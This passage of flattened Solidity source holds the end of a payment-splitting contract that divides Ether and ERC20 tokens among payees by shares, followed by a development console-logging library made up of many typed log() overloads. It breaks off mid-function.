NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { 